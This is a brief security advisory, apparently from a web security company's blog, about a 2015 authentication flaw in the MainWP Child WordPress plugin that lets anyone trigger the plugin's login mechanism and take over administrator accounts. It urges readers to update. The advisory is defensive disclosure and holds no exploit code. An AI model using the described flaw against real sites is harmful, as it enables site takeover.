Unfortunately, this vulnerability is easy to exploit. It uses WordPress the “init” hook to trigger MainWP’s remote control mechanism.



Inside this function (executed by “init”), we found the authentication check wasn’t sufficient as it allows anyone to trigger the plugin’s user login mechanism, thus making it possible for an attacker to take over any administrator account.



As an administrator user, the attacker is able to take full control of the website.

Update as soon as possible!

Again, if you’re using a vulnerable version of this plugin, update as soon as possible! In the event where you can not do this, we strongly recommend leveraging our Website Firewall to get it patched virtually.

]]> http://blog.sucuri.net/2015/03/security-advisory-mainwp-child-wordpress-plugin.html/feed 5